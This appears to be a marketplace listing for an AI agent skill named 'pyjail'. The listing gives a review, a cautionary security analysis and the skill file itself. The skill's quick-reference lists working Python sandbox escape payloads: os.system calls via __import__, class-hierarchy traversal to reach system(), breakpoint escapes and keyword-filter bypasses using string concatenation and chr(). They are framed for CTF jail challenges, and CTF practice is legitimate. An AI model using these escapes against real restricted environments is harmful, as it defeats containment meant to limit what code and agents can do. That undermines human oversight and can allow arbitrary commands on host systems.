Our review
Escapes Python sandbox restrictions in restricted eval/exec environments using class hierarchy traversal and code obfuscation.
Strengths
- Provides concrete techniques (basic commands, class hierarchy, encoding bypass)
- Includes quick reference and debugging aids
- Covers common CTF jail challenges
Limitations
- Requires knowledge of Python internals (class hierarchy indices may vary)
- Some techniques may fail against advanced sandboxes with additional restrictions
- Not a one-size-fits-all solution
When you need to escape a Python sandbox or execute commands in a filtered Python environment.
For general Python development or non-security tasks.
Security analysis
CautionThe skill equips the AI with techniques to break out of restricted Python environments, such as using os.system or class hierarchy exploits. While intended for sanitized environments like CTF challenges, the inclusion of Bash as an allowed tool means these commands could be executed on the host, posing a risk of misuse.
- •Provides methods for arbitrary code execution via Python sandbox escape, which could be used to run destructive commands if abused.
Examples
Use Python's os module to execute the command 'cat flag.txt' in a restricted environment.Escape the Python sandbox using the class hierarchy method to execute a shell command like 'id'.Find the index of a useful class (e.g., with 'wrap' in its name) for sandbox escape by iterating subclasses.name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob
Python Jail Escape Skill
Quick Workflow
Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag
Quick Reference - Common Escapes
# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")
# Using breakpoint (Python 3.7+)
breakpoint() # Drops into pdb, then !cat flag.txt
# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')
# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')
Reference Files
| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |
Quick Debugging
# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
if 'wrap' in str(c): print(i, c)
# Check available builtins
dir(__builtins__)
Security Audit Scanner
Security
Analyzes code to detect OWASP Top 10 vulnerabilities.
OWASP Security Checklist
Security
Generates application security checklists based on the OWASP Top 10.
Threat Model Generator
Security
Generates threat model documents with STRIDE analysis.